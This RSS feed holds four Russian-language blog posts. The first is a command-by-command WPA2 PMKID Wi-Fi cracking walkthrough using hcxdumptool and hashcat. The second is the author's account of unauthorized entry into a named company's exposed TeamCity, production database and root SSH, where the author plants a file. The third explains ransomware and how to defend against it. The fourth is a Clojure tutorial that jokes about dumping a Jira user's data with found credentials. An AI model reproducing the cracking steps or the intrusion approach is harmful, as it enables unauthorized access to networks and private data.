<?xml version="1.0" encoding="utf-8" ?><rss version="2.0" xmlns:tt="http://teletype.in/" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:media="http://search.yahoo.com/mrss/"><channel><title>D4ffy Duck</title><generator>teletype.in</generator><description><![CDATA[D4ffy Duck]]></description><image><url>https://teletype.in/files/67/67368ae1-f68a-4599-8a17-7d2412715231.png</url><title>D4ffy Duck</title><link>https://teletype.in/@d4ffyduckone</link></image><link>https://teletype.in/@d4ffyduckone?utm_source=teletype&amp;utm_medium=feed_rss&amp;utm_campaign=d4ffyduckone</link><atom:link rel="self" type="application/rss+xml" href="https://teletype.in/rss/d4ffyduckone?offset=0"></atom:link><atom:link rel="next" type="application/rss+xml" href="https://teletype.in/rss/d4ffyduckone?offset=10"></atom:link><atom:link rel="search" type="application/opensearchdescription+xml" title="Teletype" href="https://teletype.in/opensearch.xml"></atom:link><pubDate>Thu, 23 Apr 2026 23:18:25 GMT</pubDate><lastBuildDate>Thu, 23 Apr 2026 23:18:25 GMT</lastBuildDate><item><guid isPermaLink="true">https://teletype.in/@d4ffyduckone/ByVg3KKPQ</guid><link>https://teletype.in/@d4ffyduckone/ByVg3KKPQ?utm_source=teletype&amp;utm_medium=feed_rss&amp;utm_campaign=d4ffyduckone</link><comments>https://teletype.in/@d4ffyduckone/ByVg3KKPQ?utm_source=teletype&amp;utm_medium=feed_rss&amp;utm_campaign=d4ffyduckone#comments</comments><dc:creator>d4ffyduckone</dc:creator><title>Новая техника атаки WPA2, не требующая наличия клиента на AP</title><pubDate>Sun, 02 Sep 2018 16:12:27 GMT</pubDate><media:content medium="image" url="https://teletype.in/files/14/14257434-9470-4a34-930a-58cecd47ec43.png"></media:content><description><![CDATA[<img src="https://telegra.ph/file/3658ba204880cd9fe8719.png"></img>В настоящее время не известно, для какого количества маршрутизаторов этот метод будет работать, — вероятнее всего, для всех существующих сетей 802.11i /p/q/r с включенными функциями роуминга, а это большинство современных маршрутизаторов.]]></description><content:encoded><![CDATA[
  <figure class="m_column">
    <img src="https://telegra.ph/file/3658ba204880cd9fe8719.png" width="970" />
  </figure>
  <p>В настоящее время не известно, для какого количества маршрутизаторов этот метод будет работать, — вероятнее всего, для всех существующих сетей 802.11i /p/q/r с включенными функциями роуминга, а это большинство современных маршрутизаторов.</p>
  <p>Основные особенности новой атаки:</p>
  <ul>
    <li>нет необходимости ждать клиентов — атакуется напрямую AP;</li>
    <li>нет необходимости ждать полного 4-стороннего «рукопожатия» между клиентом и AP;</li>
    <li>отсутствие ретрансмиссии кадров EAPOL;</li>
    <li>исключает вероятность захвата неверных паролей от клиента;</li>
    <li>исключены потери кадров EAPOL при отдалении/потери связи с клиентом;</li>
    <li>высокая скорость, обусловленная отсутствием необходимости фиксировать значения nonce и replaycounter;</li>
    <li>нет необходимости в специализированном формате выходных данных (pcap, hccapx и т. д.) — захваченные данные хранятся в виде hex-строки.</li>
  </ul>
  <p>Детали атаки</p>
  <p>RSN IE — это необязательное поле, которое можно найти в рамках управления 802.11. Одной из возможностей RSN является PMKID.</p>
  <figure class="m_custom">
    <img src="https://habrastorage.org/getpro/habr/post_images/e4a/cd6/610/e4acd66106209d985edd6621eacc6961.png" width="630" />
  </figure>
  <p>PMKID вычисляется с использованием HMAC-SHA1, где ключ является PMK, а часть данных представляет собой конкатенацию фиксированной строковой метки «PMK Name», MAC-адрес точки доступа и MAC-адрес станции.</p>
  <pre>PMKID = HMAC-SHA1-128(PMK, &quot;PMK Name&quot; | MAC_AP | MAC_STA)
</pre>
  <p>Поскольку PMK такой же, как в обычном четырехстороннем рукопожатии EAPOL, это идеальный вектор атаки. Мы получаем все необходимые данные в первом кадре EAPOL из AP.</p>
  <p>Для атаки потребуются следующие инструменты (актуальные версии):</p>
  <ul>
    <li><a href="https://github.com/ZerBea/hcxdumptool" target="_blank">hcxdumptool</a></li>
    <li><a href="https://github.com/ZerBea/hcxtools" target="_blank">hcxtools</a></li>
    <li><a href="https://github.com/hashcat/hashcat" target="_blank">hashcat</a></li>
  </ul>
  <p>Запускаем hcxdumptool для &quot;снятия&quot; PMKID:</p>
  <pre>$ ./hcxdumptool -o test.pcapng -i wlp39s0f3u4u5 --enable_status
</pre>
  <pre>start capturing (stop with ctrl+c)
INTERFACE:...............: wlp39s0f3u4u5
FILTERLIST...............: 0 entries
MAC CLIENT...............: 89acf0e761f4 (client)
MAC ACCESS POINT.........: 4604ba734d4e (start NIC)
EAPOL TIMEOUT............: 20000
DEAUTHENTICATIONINTERVALL: 10 beacons
GIVE UP DEAUTHENTICATIONS: 20 tries
REPLAYCOUNTER............: 62083
ANONCE...................: 9ddca61888470946305b27d413a28cf474f19ff64c71667e5c1aee144cd70a69
</pre>
  <p>Об успешном завершении атаки (средняя продолжительность 10 минут) уведомит надпись FOUND PMKID:</p>
  <pre>[13:29:57 - 011] 89acf0e761f4 -&gt; 4604ba734d4e &lt;ESSID&gt; [ASSOCIATIONREQUEST, SEQUENCE 4]
[13:29:57 - 011] 4604ba734d4e -&gt; 89acf0e761f4 [ASSOCIATIONRESPONSE, SEQUENCE 1206]
[13:29:57 - 011] 4604ba734d4e -&gt; 89acf0e761f4 [FOUND PMKID]
</pre>
  <p>После чего необходимо сконвертировать полученные данные:</p>
  <pre>$ ./hcxpcaptool -z test.16800 test.pcapng
</pre>
  <pre>start reading from test.pcapng

summary:
--------
file name....................: test.pcapng
file type....................: pcapng 1.0
file hardware information....: x86_64
file os information..........: Linux 4.17.11-arch1
file application information.: hcxdumptool 4.2.0
network type.................: DLT_IEEE802_11_RADIO (127)
endianess....................: little endian
read errors..................: flawless
packets inside...............: 66
skipped packets..............: 0
packets with FCS.............: 0
beacons (with ESSID inside)..: 17
probe requests...............: 1
probe responses..............: 11
association requests.........: 5
association responses........: 5
authentications (OPEN SYSTEM): 13
authentications (BROADCOM)...: 1
EAPOL packets................: 14
EAPOL PMKIDs.................: 1

1 PMKID(s) written to test.16800
</pre>
  <p>которые после конвертации примут следующий вид:</p>
  <pre>2582a8281bf9d4308d6f5731d0e61c61*4604ba734d4e*89acf0e761f4*ed487162465a774bfba60eb603a39f3a
</pre>
  <p>представляющие из себя hex-значения следующих типов данных:</p>
  <pre>PMKID*MAC AP*MAC Station*ESSID
</pre>
  <p>Далее остается &quot;скормить&quot; полученные результаты утилите hashcat (да, без брута пока никуда) и ждать результат:</p>
  <pre>$ ./hashcat -m 16800 test.16800 -a 3 -w 3 &#x27;?l?l?l?l?l?lt!&#x27;
</pre>
  <p>Данная техника значительно упрощает и ускоряет атаку на большинство беспроводных устройств благодаря меньшему количеству факторов влияния.</p>
  <p>P.S.: эта уязвимость в большей степени затрагивает домашние/SOHO-устройства, в корпоративном сегменте, как правило, используется более надежный MGT WPA2 Enterprise с RADIUS-ключами.</p>

]]></content:encoded></item><item><guid isPermaLink="true">https://teletype.in/@d4ffyduckone/Sy0hsFFD7</guid><link>https://teletype.in/@d4ffyduckone/Sy0hsFFD7?utm_source=teletype&amp;utm_medium=feed_rss&amp;utm_campaign=d4ffyduckone</link><comments>https://teletype.in/@d4ffyduckone/Sy0hsFFD7?utm_source=teletype&amp;utm_medium=feed_rss&amp;utm_campaign=d4ffyduckone#comments</comments><dc:creator>d4ffyduckone</dc:creator><title>🔑Root доступ через TeamCity</title><pubDate>Sun, 02 Sep 2018 16:11:34 GMT</pubDate><media:content medium="image" url="https://teletype.in/files/71/71eb440b-e11a-412f-b6f6-352f065e278c.png"></media:content><description><![CDATA[<img src="https://telegra.ph/file/25e71d129942c78a448b0.png"></img>GitHub оказался под крупнейшей DDoS атакой, немного обсудили в общем рабочем чате вечерком. Оказалось, что мало кто знает о замечательных поисковиках shodan.io и censys.io.]]></description><content:encoded><![CDATA[
  <p>GitHub оказался под крупнейшей DDoS атакой, немного обсудили в общем рабочем чате вечерком. Оказалось, что мало кто знает о замечательных поисковиках shodan.io и censys.io.</p>
  <p>Ну и я интересу ради, прям для вау эффекта поискал <a href="https://www.jetbrains.com/teamcity/" target="_blank">TeamCity</a> (далее тс), т.к. помню <a href="https://xakep.ru/2016/04/19/teamcity-registration-hack/" target="_blank">прикольный баг с регой</a> в старых версиях (был исправлен в версии 9.0.2 от января 2015 года).</p>
  <p>Как оказалось, его даже не нужно было применять, т.к. во многих тс админы не закрывали регистрацию, а на некоторых доступен был вход под гостем.</p>
  <figure class="m_column">
    <img src="https://telegra.ph/file/25e71d129942c78a448b0.png" width="1243" />
  </figure>
  <p>Взял самый первый попавшийся IP и двинул на их тс.</p>
  <figure class="m_custom">
    <img src="https://telegra.ph/file/224956c67d7eaaf8e51f0.png" width="637" />
  </figure>
  <p>Ура, есть рега обыкновенная, и как правило, у неё прав больше, чем у гостя, см. сравнение ниже</p>
  <figure class="m_column">
    <img src="https://telegra.ph/file/c9d56c92d60b877382ae7.png" width="1027" />
  </figure>
  <figure class="m_column">
    <img src="https://telegra.ph/file/837cff7e0ddf64490986d.png" width="975" />
  </figure>
  <p>В параметрах явно были прописаны некоторые доступы</p>
  <figure class="m_custom">
    <img src="https://telegra.ph/file/b833adae70348e69af425.png" width="773" />
  </figure>
  <p>Но логины пароли также и в другом месте есть — в конфигах артефактов:</p>
  <figure class="m_custom">
    <img src="https://telegra.ph/file/1820103de03f5e8eb5c35.png" width="641" />
  </figure>
  <figure class="m_column">
    <img src="https://telegra.ph/file/e0ff1ecc9dbc84949339a.png" width="1637" />
  </figure>
  <p>Судя по названиям БД ничего интересного быть там не может, но всё же решил попробовать.</p>
  <p>Легковесный и быстрый клиент для монги под винду — <a href="https://robomongo.org/" target="_blank">robomongo.org</a></p>
  <figure class="m_column">
    <img src="https://telegra.ph/file/6c580e5d29e9e756f13b3.png" width="1025" />
  </figure>
  <p>Сильно шариться по БД не стал, т.к. слово analytics навевает скуку.</p>
  <p>В TFS сходить не удалось, определённо логин не вебовский, курить апи тоже скучно, ибо не самый интересный проект, но для демонстрации достаточно).</p>
  <p>Почта разрабов добыта там же — отписался, ответа нет.</p>
  <p>Если артефакты не были доступны — всегда можно посмотреть change log:</p>
  <figure class="m_custom">
    <img src="https://telegra.ph/file/3b639175eaf9733c22d35.png" width="585" />
  </figure>
  <figure class="m_custom">
    <img src="https://telegra.ph/file/3fc58973d99acd2ccdcca.png" width="523" />
  </figure>
  <p>Удивляют проекты, где пароли — простые слова, тут хоть префикс есть.</p>
  <p>Помню однажды попался пасс — <em>осмотрись</em>, прям забавно.</p>
  <p>Также, определённая категория людей, предпочитает хранить прямо в коде всякие настройки:</p>
  <figure class="m_column">
    <img src="https://telegra.ph/file/af0ad928b5698d3c51756.png" width="788" />
  </figure>
  <p>Перехожу к самому интересному — есть проект <a href="http://www.triplay.com/" target="_blank">triplay.com</a></p>
  <p>Их продукты: emusic.com, estories.com, mydigipack.com, mymusiccloud.com и ещё какие-то. Установок приложения андроид <a href="https://play.google.com/store/apps/details?id=com.emusic.android&hl=ru" target="_blank">1000000+</a>, эпловое — не понял где там количество скачиваний смотреть.</p>
  <p>Ну и конечно же — их тимсити был открыт снаружи, + открыта рега:</p>
  <figure class="m_custom">
    <img src="https://telegra.ph/file/7c2e0c3fad9d2322605ab.png" width="611" />
  </figure>
  <p>120 сборок, но артефакты были далеко не везде, вероятно для экономии места. Зато имеется Common проект, где все артифакты собираются вместе, но серверные вполне себе велись и этого было достаточно:</p>
  <figure class="m_column">
    <img src="https://telegra.ph/file/003c532ec2faa4a716834.png" width="820" />
  </figure>
  <p>Отлично, качаем файл и… я прям не удивлён:</p>
  <figure class="m_column">
    <img src="https://telegra.ph/file/619f8a2333e6a1297d807.png" width="1014" />
  </figure>
  <figure class="m_column">
    <img src="https://telegra.ph/file/2790d6fcc98bc3aea4256.png" width="744" />
  </figure>
  <p>Пришлось поставить яву и проверить коннект к ораклу (оракл для простого сайтика в проде, ааа, блин, ну почему не postgres):</p>
  <figure class="m_column">
    <img src="https://telegra.ph/file/5799f95d9c588d0ea6554.png" width="1346" />
  </figure>
  <p>Конечно же, несмотря на то, что в конфигах был указан везде префикс prod — без явной проверки этого нельзя было сказать наверняка):</p>
  <figure class="m_column">
    <img src="https://telegra.ph/file/6f5ec5ebaea93f61c7f36.png" width="975" />
  </figure>
  <p>Ну и конечно, я сам зарегал почту, с которой им отписал о проблеме (только я показал скрины, а не сценарий, т.к. не хотел, чтобы чел из саппорта получил доступ к бд, где 691к аккаунтов, выкачал всё это дома и… я хз, что мог бы сделать. Сценарий немного надуман, но лучше попросить контакт админа/разраба).</p>
  <p>В теории, полный доступ к бд и можно смело заменять чей-нибудь хеш/соль пасса своими и входить под ним.</p>
  <p>Но я лишь почитал данные и успокоился на этом, отписавшись в офф. сапорт, на что мне ответили, что всё рассмотрят, переведут на специалиста, который ответит в порядке очереди и… молчание</p>
  <p>Спустя несколько дней они закрыли доступ к БД, но не к тс, проверил почту — ни вопросов, ни благодарностей.</p>
  <p>Ну ок, полез проверять дальше и… в артефактах нашёл проект, который содержит деплой скрипты, словно он в тс попадает откуда-то из вне и после сам запускает билд.</p>
  <figure class="m_custom">
    <img src="https://telegra.ph/file/fd63006017088283c41ac.png" width="355" />
  </figure>
  <figure class="m_column">
    <img src="https://telegra.ph/file/e3b50380bb63c3d22e5f4.png" width="1098" />
  </figure>
  <p>Так и было, + ещё логин/пасс от тс.</p>
  <p>Сложно было поверить в это, ну ок, телнет 22 пашет, пробую ссш, но погоди, какой же логин…</p>
  <pre>wu la
ssh -p 22 -i triplay-deployer-priv root@build.triplay-inc.com
</pre>
  <p>Немного удивился наличию доступа, ок. Осмотрелся в консоли, посмотрел хосты (35 машин прописано) и какие-то ключики (я с никсами не оч, доступ рут и без того ясно, что даст сделать всё, что хочешь, было бы желание).</p>
  <p>Нашёл тестовый доменчик + конкретную машину (и… кажется ssl серт).</p>
  <figure class="m_custom">
    <img src="https://telegra.ph/file/9c136bc6287a0bebf9c09.png" width="796" />
  </figure>
  <p>Выше скрин, кстати, когда я с одного сервера хожу на другой, ибо тот из вне по ssh не был доступен. И таких машин там было, конечно же, дофига, сами представьте, какая там инфраструктура.</p>
  <p>И положил файлик с особым приветом (с ошибками, уж сорри, уже спать хотелось).</p>
  <figure class="m_column">
    <img src="https://telegra.ph/file/1f4e6a41549337ab163ad.png" width="1280" />
  </figure>
  <p>После очередного письма они прикрыли лавочку.</p>
  <p>Но не тут то было, у ребят оставался тестовый аккаунт. Я вошёл под ним. Оказалось можно получить трек бесплатно… ну я на всякий F12 и… что я вижу в пейлоаде:</p>
  <pre>{
 &quot;trackId&quot;: 1559229346,
 &quot;quality&quot;: &quot;SD&quot;,
 &quot;dailyDownloadPurchase&quot;: false,
 &quot;freeTrackPurchase&quot;: true
}
</pre>
  <p>Нет, это не первоапрельская шутка — получить трек бесплатно или купить — решается на фронтенде флагом freeTrackPurchase:</p>
  <p>А вот теперь нюанс — работает, видимо, не для всех аккаунтов, а для конкретно тестового)), но имея доступ к нему, можно «купить» все треки. Да и один фиг, они все доступны без авторизации (есть спец урла, инфо из БД, проверено).</p>
  <p><strong>Какие ошибки парни совершили:</strong></p>
  <ol>
    <li>Весьма внутренние ресурсы были открыты всему свету (БД, TeamCity, SSH)</li>
    <li>Даже если есть такая необходимость — не сделали вайтлиста для подключений</li>
    <li>Коннект под рутом извне… чет так себе идея</li>
    <li>Тем более, в проект добавлять сертификат для этого от рута!</li>
    <li>Все доступы и ключики хранят в… файлах и размножают по проектам (aws, paypal, и т.п., шаблон <a href="https://gist.github.com/SanSYS/36473100ea350281ec13af8f1d431186" target="_blank">положил сюда</a>), вместо того, чтобы хранить одно подключение к сервису конфигураций</li>
    <li>А самое главное — была разрешена рега в TeamCity, собственно с чего всё началось</li>
    <li>Ну и до кучи — там же собирались приложения для google/apple сторов и соответствующие серты и исходники были на месте</li>
  </ol>
  <p>Потому — если у вас имеются какие-либо продукты, которые доступны из вне — подумайте, как их можно использовать не по назначению сторонними людьми и предотвратите это.</p>

]]></content:encoded></item><item><guid isPermaLink="true">https://teletype.in/@d4ffyduckone/rkslsKtwQ</guid><link>https://teletype.in/@d4ffyduckone/rkslsKtwQ?utm_source=teletype&amp;utm_medium=feed_rss&amp;utm_campaign=d4ffyduckone</link><comments>https://teletype.in/@d4ffyduckone/rkslsKtwQ?utm_source=teletype&amp;utm_medium=feed_rss&amp;utm_campaign=d4ffyduckone#comments</comments><dc:creator>d4ffyduckone</dc:creator><title>Как работают вирусы шифровальщики и как от них защититься</title><pubDate>Sun, 02 Sep 2018 16:08:19 GMT</pubDate><description><![CDATA[Главная цель злоумышленников заставить пользователя любым способом скачать файл с вирусом и запустить его.  В этом вымогатели могут проявлять всю свою фантазию.]]></description><content:encoded><![CDATA[
  <h3>Как происходит заражение</h3>
  <p>Главная цель злоумышленников заставить пользователя любым способом скачать файл с вирусом и запустить его.  В этом вымогатели могут проявлять всю свою фантазию.</p>
  <p>Зачастую они устраивают массовую рассылку писем в организации. В теме сообщения указывается «<em>резюме»</em>, «<em>исковое требование»</em>, «<em>договор поставки»</em>, «<em>акт сверки-взаиморасчётов»</em>, т. е. самые обычные письма, которые ежедневно проходят десятками в любой организации. Стоит ли говорить, что, например, сотрудник отдела кадров, зачастую не самый продвинутый пользователь, с большой вероятностью скачает прикрепленный файлик «резюме» и откроет его.</p>
  <p>Другой способ распространения вируса — это запуск скачанной с интернета программы. Только вместо установки программы пользователь получает зашифрованные файлы. Забавно, вроде бы все на месте, но в таком виде они абсолютно бесполезны.</p>
  <blockquote><strong>Более чем в 90% случаев пользователи запускают шифровальщики своими руками.</strong></blockquote>
  <blockquote><strong>Более половины всех случаев шифрования приходится на вирус Trojan.Encoder и сотни вариантов его модификаций.</strong></blockquote>
  <h3>Как происходит шифрование</h3>
  <p>Принцип работы шифровальщиков очень прост, вирус, запущенный на компьютере жертвы шифрует файлы и удаляет теневые копии файлов, таким образом делая невозможным восстановление предыдущих версий файлов. Шифруются все файлы со стандартными расширениями .jpg, .png, .doc, .xls, .dbf и т.д. Другими словами, шифруются картинки, документы, таблицы, файлы баз данных и другие стандартные файлы, которые как раз и представляют весь интерес для пользователя.</p>
  <p>После шифрования на рабочем столе или в каждой папке с зашифрованными файлами создается текстовый файл (например, READ_ME!!!!!!.TXT) с предупреждением пользователя о том, что файлы были зашифрованы, а все попытки самостоятельно расшифровать файлы могут привести к безвозвратной потере данных, ну и, разумеется, контакты вымогателей и сумма которую необходимо заплатить для расшифровки.</p>
  <blockquote>Современные экземпляры вирусов используют криптостойкие алгоритмы шифрования. Содержимое файлов шифруется с очень высокой скоростью, а ключ шифруется асимметричным алгоритмом. Это означает, что на подбор ключа для расшифровки могут потребоваться годы вычислений компьютера.</blockquote>
  <p>Вот такую статистику расшифровки приводит компания «Доктор Веб» в 2016 году.</p>
  <p>Троянец Альтернативные наименования Вероятность расшифровки BAT.Encoder Trojan.FileCrypt.C</p>
  <p>BAT/Filecoder.B</p>
  <p>Trojan-Ransom.BAT.Scatter.s 20-30% Trojan.Encoder.94 Trojan-Ransom.Win32.Xorist</p>
  <p>Trojan:Win32/Bumat!rts</p>
  <p>Win32/Filecoder.Q 90% Trojan.Encoder.293</p>
  <p>90-100% Trojan.Encoder.398 Gen:Trojan.Heur.DP;</p>
  <p>TR/Dldr.Delphi.Gen 58% Trojan.Encoder.556 Trojan-Ransom.Win32.Agent.iby,</p>
  <p>Gen:Variant.Kates.2 3-5% Trojan.Encoder.741</p>
  <p>21% Trojan.Encoder.567 Win32/Filecoder.CQ,</p>
  <p>Gen:Trojan.Heur.OH3@tb9fsadcg 10-20% Trojan.Encoder.686 CTB-Locker Расшифровка на данный</p>
  <p>момент невозможна Trojan.Encoder.858</p>
  <p>Trojan.Encoder.2843(*.vault)</p>
  <p>90% Trojan.Encoder.2667</p>
  <p>59% Trojan.Encoder 3953</p>
  <p>80% Linux.Encoder.1, Linux.Encoder.2, Linux.Encoder.3</p>
  <p>100% Mac.Trojan.KeRanger.2</p>
  <blockquote>100% <strong>По статистике антивирусных компаний удается подобрать ключ лишь в 10% случаев.</strong></blockquote>
  <p>Все это приводит к тому, что в большинстве случаев зашифрованные данные будут безвозвратно потеряны. Конечно, всегда можно попробовать заплатить злоумышленникам, но нет никаких гарантий.</p>
  <p>Встречаются случаи когда восстановить файлы просто невозможно, даже если вы заплатите некоторую сумму вымогателям. Это происходит в том случае, если вирус шифровальщик просто выбрасывает ключ шифрования, а не передает его для хранения на сервер. К слову, вымогатели от этого совсем не расстраиваются, они то исправно получают свои деньги.</p>
  <h3>Что делать если вирус зашифровал файлы?</h3>
  <p><strong>Не пытайтесь переименовывать файлы и расширения. </strong>Это может привести к невозможности его расшифровать в дальнейшем. Если хочется поэкспериментировать то можно сделать копию зашифрованного файла и работать с ней.</p>
  <p><strong>Попытаться восстановить файлы из теневых копий. </strong>Если совсем кратко, то это восстановление предыдущих версий файлов и папок. Для этого в вашей системе должна быть включена функция защиты системы и созданы точки восстановления. Об этом можно написать отдельную статью, и если вам это интересно напишите в комментариях.</p>
  <p><strong>Обратиться к антивирусным компаниям. </strong>Ведущие антивирусные компании предоставляют программы дешифраторы. Например, можно попробовать XoristDecryptor и RectorDecryptor от Лаборатории Касперского.</p>
  <p>Утилиты постоянно обновляются, включая все больше алгоритмов для расшифровки. Вообще, вероятность получить исходный файл, достаточно низкая, но попробовать нужно.</p>
  <p>Кроме того, можно попробовать связаться с поддержкой антивирусной компании, сообщить им о шифровальщике и выслать им образец зашифрованного файла. Можно точно обратиться в Лабораторию Касперского и компанию Dr.Web, при условии что у вас есть лицензия их продукта. Специалисты попробуют расшифровать файл, и в случае успеха вышлют вам утилиту для расшифровки остальных файлов. Все это может занять очень длительное время, но вариантов то не так много.</p>
  <h3>Как защититься от шифровальщиков</h3>
  <ul>
    <li>Сохраняйте резервные копии ваших данных на внешний накопитель.</li>
    <li>Используйте антивирусные средства и не забывайте обновлять антивирусные базы. Как бы просто это не звучало, но это действительно может избавить вас от лишних проблем.</li>
    <li>Ограничьте запуск некоторых потенциально опасных типов файлов. К примеру, с расширениями <strong>.js, .cmd, .bat, .vba, .ps1. </strong>Для этого нужно выполнить команду — <strong>gpedit.msc</strong>, далее перейти в раздел <strong>Конфигурация компьютера</strong> — <strong>Конфигурация Windows</strong> — <strong>Параметры безопасности</strong> — <strong>Политики управления приложениями</strong> — <strong>AppLocker</strong> — <strong>Правила сценариев</strong>, и с помощью мастера задать новое правило на запрет запуска всех сценариев для всех пользователей, например, на системном диске. Даже это простое действие может не раз спасти вас от неприятностей.</li>
    <li>Будьте внимательны! Расскажите о вирусах шифровальщиках своим знакомым, чтобы они также не попадались на уловки мошенников. Все мы знаем, что предупрежден, значит вооружен!</li>
  </ul>
  <p>В итоге, мы имеем серьезную угрозу для любого пользователя и довольно печальную статистику по расшифровке. Вирусы шифровальщики — это энигма нашего времени. Посмотрим, найдет ли кто-нибудь способ оставить мошенников без заработка.</p>
  <p>Если информация была интересной и полезной — поделитесь этой статьей со своими друзьями в социальных сетях!</p>

]]></content:encoded></item><item><guid isPermaLink="true">https://teletype.in/@d4ffyduckone/HkupqtFwQ</guid><link>https://teletype.in/@d4ffyduckone/HkupqtFwQ?utm_source=teletype&amp;utm_medium=feed_rss&amp;utm_campaign=d4ffyduckone</link><comments>https://teletype.in/@d4ffyduckone/HkupqtFwQ?utm_source=teletype&amp;utm_medium=feed_rss&amp;utm_campaign=d4ffyduckone#comments</comments><dc:creator>d4ffyduckone</dc:creator><title>Полезная функциональщина. Грабим почту, трекеры задач и репозитории с Clojure</title><pubDate>Sun, 02 Sep 2018 16:07:27 GMT</pubDate><description><![CDATA[<img src="https://tech-geek.ru/wp-content/uploads/clojure-tips-and-tricks-2.png"></img>Я — тимлид в одной из команд разработки Positive Technologies Application Firewall. В один прекрасный момент размер команды превысил критическое значение, когда можно делать руками всю свою рутинную работу, и я начал писать автоматизированную систему, которая умела бы взаимодействовать с почтой, трекерами задач и системами контроля версий. Я назвал ее «автоматический тимлид».]]></description><content:encoded><![CDATA[
  <p>Я — тимлид в одной из команд разработки Positive Technologies Application Firewall. В один прекрасный момент размер команды превысил критическое значение, когда можно делать руками всю свою рутинную работу, и я начал писать автоматизированную систему, которая умела бы взаимодействовать с почтой, трекерами задач и системами контроля версий. Я назвал ее «автоматический тимлид».</p>
  <p>Распределение задач — одна из рутинных процедур, которую легко автоматизировать, если в команде существует матрица компетенций: назначить исполнителя в зависимости от заголовка задачи или ее компонента можно, если уметь программно читать задачу с таск-трекера и обновлять некоторые поля в ней. Аналогичная история с автоматическим назначением по набору критериев ответственного проверяющего в пулл-реквест в системе контроля версий для рецензирования исходного кода.</p>
  <p>В итоге, конечно, автоматический тимлид был разделен на бизнес-логику и общую библиотеку интеграций (я назвал ее Flower). О последней давай и поговорим.</p>
  <h3>Зачем оно вообще всем</h3>
  <p>Зачем мне понадобилось такое программное обеспечение, в целом понятно, но зачем же оно тебе?</p>
  <p>Допустим, по счастливому стечению обстоятельств, у тебя есть учетные данные некоего пользователя Jira. Очень хочется на память сохранить пару тысяч задач этого пользователя (а заодно и всю его почту), чтобы развлекаться серыми осенними вечерами, почитывая занимательные комментарии. Почему бы не сделать это, написав три строчки кода?</p>
  <p>Или ты менеджер проекта по разработке программных продуктов и решил устроить своим программистам полный KPI, замеряя производительность людей в условных пулл-реквестах на задачу. Собирать статистику с двух и более разных систем одновременно тоже можно без технических проблем.</p>
  <p>Как вариант, ты желаешь перенести все задачи из GitLab и Jira на GitHub (потому что твой проект резко стал опенсорсным), а заодно настроить автоматическую пересылку сообщений из почты в Slack. И даже это делается не очень сложно!</p>
  <h3>Почему Clojure</h3>
  <p>Первый вопрос, который можно было бы мне задать, звучит примерно так: почему ты не выбрал Python, ведь ты с ним знаком десяток лет и он имеет все необходимые библиотеки интеграций? Не имеет. Имеет, конечно, но не все работает так гладко, как SDK на Java, созданный разработчиками систем, с которыми мы интегрируемся. А в некоторых случаях еще и не хватает многопоточности. Тут нужно заметить, что для первоначального прототипа я, конечно же, и выбрал Python, а точнее HyLang (Lisp на его стеке), но в итоге решил внимательнее присмотреться к JVM.</p>
  <p>И второй очевидный вопрос — почему вообще Lisp? Потому что, насколько мне известно, лучший способ создать свой DSL, не изобретая новый синтаксис, — взять Lisp, проверенный временем язык с префиксной нотацией и веселыми скобочками (на самом деле это называется S-выражения), и, используя макросы, обогатить его до домена использования.</p>
  <p>Совокупность этих двух факторов и побудила меня выбрать Clojure как язык программирования и платформу для интеграций с различными системами.</p>
  <figure class="m_custom">
    <img src="https://tech-geek.ru/wp-content/uploads/clojure-tips-and-tricks-2.png" width="930" />
  </figure>
  <h3>Show me the code</h3>
  <p>Чтобы начать писать на Clojure свой скрипт или даже целую систему, использующую Flower, необходимо для начала установить Leiningen (для Windows в некоторых случаях это может оказаться немного нетривиальной задачей, поэтому рекомендую взять любую *nix-систему). Если ты вдруг не знаешь Clojure, то рекомендую книгу Clojure for the Brave and True — идеальное пособие для освоения языка за пару вечеров.</p>
  <p>Чтобы начать новый проект на базе Flower, можно воспользоваться шаблоном, набрав в терминале</p>
  <p><code> lein new flower my-new-flower-app</code></p>
  <p>При этом в файл project.clj в созданной директории проекта будет добавлена зависимость [flower &quot;0.4.3&quot;] — это метапакет, содержащий почти все необходимое. Для тестового приложения он нам вполне подойдет.</p>
  <p>Давай теперь напишем наше приложение. В качестве подопытной системы контроля версий и трекера задач воспользуемся GitHub.</p>
  <p>Для аутентификации нам понадобится добавить токен пользователя GitHub, чтобы иметь возможность делать изменения и не быть ограниченными рейтом запросов. Добавь сгенерированный для своей учетной записи токен вместо звездочек в файл .credentials.edn в домашней директории пользователя (~/.credentials.edn) в следующем формате:</p>
  <p><code> &lt;span class=&quot;pun&quot;&gt;{:&lt;/span&gt;&lt;span class=&quot;pln&quot;&gt;token &lt;/span&gt;&lt;span class=&quot;pun&quot;&gt;{:&lt;/span&gt;&lt;span class=&quot;pln&quot;&gt;github &lt;/span&gt;&lt;span class=&quot;str&quot;&gt;&quot;****************************************&quot;&lt;/span&gt;&lt;span class=&quot;pun&quot;&gt;}}&lt;/span&gt;</code></p>
  <p>Теперь можно начать ставить эксперименты. Для этого в директории проекта запустим REPL из командной строки:</p>
  <p><code> lein repl</code></p>
  <h3>Трекеры задач</h3>
  <p>Подключим необходимые модули и определим наш трекер задач:</p>
  <pre> (require &#x27;[flower.macros]
        &#x27;[flower.tracker.core])
 
(flower.macros/with-default-credentials ;; Можно без этого макроса, если трекер задач приемлет запросы без авторизации
  (def pt-github-tracker (flower.tracker.core/get-tracker &quot;https://github.com/PositiveTechnologies/flower&quot;)))
</pre>
  <p>Давай посмотрим, что теперь содержится в определении pt-github-tracker. Для наглядности я сделал pretty-вывод и убрал не очень важные сейчас поля.</p>
  <pre> my-new-flower-app.core=&gt; pt-github-tracker
#flower.tracker.github.tracker.GithubTracker{
  :tracker-component #flower.tracker.core.TrackerComponent{
                      :auth {:github-token &quot;****************************************&quot;}
                      :context {}}
  :tracker-name :github-github.com-flower
  :tracker-url &quot;https://github.com/PositiveTechnologies&quot;
  :tracker-project &quot;flower&quot;}
</pre>
  <p>Функция get-tracker подставила авторизационные данные и развернула строковый адрес трекера задач в запись с общим протоколом flower.tracker.proto.TrackerProto. Если тип трекера не определился верно, то тип записи будет flower.tracker.default.tracker.DefaultTracker. Это поведение можно изменить, эксплицитно указав тип трекера с помощью макроса flower.tracker.core/with-tracker-type.</p>
  <p>Получить все задачи из трекера можно следующей командой:</p>
  <pre> (def tasks (.get-tasks pt-github-tracker))
</pre>
